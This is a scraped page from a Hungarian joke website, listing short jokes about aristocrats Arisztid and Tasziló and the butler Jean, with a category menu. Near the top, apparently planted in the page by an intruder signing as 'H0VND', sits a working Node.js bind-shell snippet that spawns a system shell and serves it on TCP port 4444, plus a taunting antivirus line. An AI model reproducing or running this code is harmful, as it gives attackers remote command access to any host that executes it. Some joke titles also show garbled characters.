•  

      Facebook csoport

      (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
       

       
      SECURITY WARNING

      ANTIVÍRUS

      Sajnos még az antivírus sem tud mit tenni H0VND ellen.


       

       

       

       
      • Belépés Regisztráció Kapcsolatfelvétel Vicc az oldaladra
        •  
          előző 451 - 460 461 - 470 471 - 480 481 - 490 491 - 500 501 - 510 következő
                  Panasz (Egyéb viccek)
                  Arisztid panaszkodik Taszilónak a feleségére.
                  - Képzeld, reggel felkel, és elkezd beszélni. És beszél, beszél, beszél, egészen késõ estig.
                  - Na és mirõl beszél? – kérdi Tasziló.
                  - Ne adj isten, hogy elárulná!
                  ?llatkertben (Jean viccek)
                  - Jean, szeretnék eljutni az állatkertbe!
                  - Mint micsoda, uram?
                  Az ?reg gr?f (Egyéb viccek)
                  Az öreg gróf a vacsorán egy fiatal grófkisasszony mellé ült, és a kezével erre-arra mozgolódott. A leány végére megunta, és rászólt:
                  - Mit akar?
                  - Hogy mit akarok, tudom! De nem tudom, amit akarok.
                  ?v?d?s (Egyéb viccek)
                  Arisztid és Tasziló évõdnek:
                  - Hallottad? Bécsben agyonlõtte magát egy arisztokrata.
                  - Igen.
                  - Kitûnõ füled van.
                  J?v?beli (Egyéb viccek)
                  Arisztid találkozik Taszilóval.
                  - Na, hogy tetszik a házasélet? – kérdi Arisztid.
                  - Ne is mondd! Egész jó lenne, ha a feleségem nem beszélne folyton az elsõ uráról.
                  - Hagyd el, az én esetem még rosszabb. Az én feleségem folyton a jövendõbeli uráról beszél.
                  Alamizsna (Egyéb viccek)
                  Egy ifjú elmegy a gazdag arisztokratához, hogy alamizsnát kér tõle. Kérését a következõképpen indokolja:
                  - Uram, én író vagyok. Írtam egy könyvet ezzel a címmel: „A pénzszerzés legbiztosabb módjai.”
                  - Nem értem – mondja a gróf -, ha maga annyi módot tud a pénzszerzésre, miért koldul?
                  - Hát kérem – mondja az ifjú -, ez is egy mód
                  Helycsere (Jean viccek)
                  A vonaton így szól az úr a vele szemközt ülõ inasához:
                  - Jean, cseréljünk helyet! Nem bírom nézni a maga buta pofáját.
                  Villamoson (Egyéb viccek)
                  Arisztid Taszilóval és a feleségével villamoson utazik. Az egyik kanyarban a szerelvény hirtelen fékez, és a méltóságos asszony kirepül a peronról. Sietve hívják a mentõket, de azok már csak a halált tudják konstatálni.
                  A jegyzõkönyvek felvétele után gyalogosan indulnak útnak, s ekkor megszólal Arisztid:
                  - Ide figyelj, kedves barátom! Azt eddig is tudtam, hogy utolsó csirkefogó vagy, de hogy címeres gazember is, azt nem sejtettem. Itt hal meg a nejed õnagysága a szemünk láttára, és neked egy arcizmod se rándul…
                  Tasziló nem késik a válasszal:
                  - Most pedig te figyelj! Ha neked úgy fájt volna a fogad, mint nekem ma délután, neked sem lett volna kedved röhögni!
                  A b?r?n? (Egyéb viccek)
                  A báróné dühösen jön be a konyhából, mert – akarata ellenére – meghallotta, hogy a szakácsnõ a háta mögött vén szipirtyónak nevezte.
                  - Azonnal kidobom – mondja a dühtõl fuldokolva a férjének.
                  - Nézd, drágám – csitítja õt a férj. – Azt tanácsolom, inkább tartsd meg. Ha elküldöd, akkor másnak is továbbadja…
                  Macska (Jean viccek)
                  - Jean, megetette a papagájt?
                  - Igen, uram.
                  - Mivel?
                  - A macskával.
              Ugrás a lap tetejére >>
          • .:Állatos viccek:.
          • .:Anyós viccek:.
          • .:Bolond viccek:.
          • .:Csak nőknek:.
          • .:Csak férfiaknak:.
          • .:Egyéb viccek:.
          • .:Elvont viccek:.
          • .:Gyerek viccek:.
          • .:Házassági viccek:.
          • .:Hogy hívják...:.
          • .:Jean viccek:.
          • .:Katona viccek:.
          • .:Közlekedési viccek:.
          • .:Morbid viccek:.
          • .:Móricka viccek:.
          • .:Munkahelyi viccek:.
          • .:Orvosi viccek:.
          • .:Pikáns viccek:.
          • .:Pincér viccek:.
          • .:Politikai viccek:.
          • .:Rendőr viccek:.
          • .:Részeg viccek:.
          • .:Roma viccek:.
          • .:Skót viccek:.
          • .:Sport viccek:.
          • .:Stirlitz viccek:.
          • .:Számítástechnikai viccek:.
          • .:Székely viccek:.
          • .:Szőke nős viccek:.
          • .:Utolsó mondatok:.
          • .:Ügyvéd viccek:.
          • .:Vallási viccek:.
          • .:Zsidó viccek:.



           


          nevetseges.hu on Facebook

          • Nevetséges Viccek - Impresszum - Jogi nyilatkozat

            Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu

      info Az oldalon történő látogatása során cookie-kat (“sütiket”) használunk. Ezen fájlok információkat szolgáltatnak számunkra a felhasználó oldallátogatási szokásairól, de nem tárolnak személyes információkat. Az oldal használatával elfogadja a cookie-k használatát. Elfogadom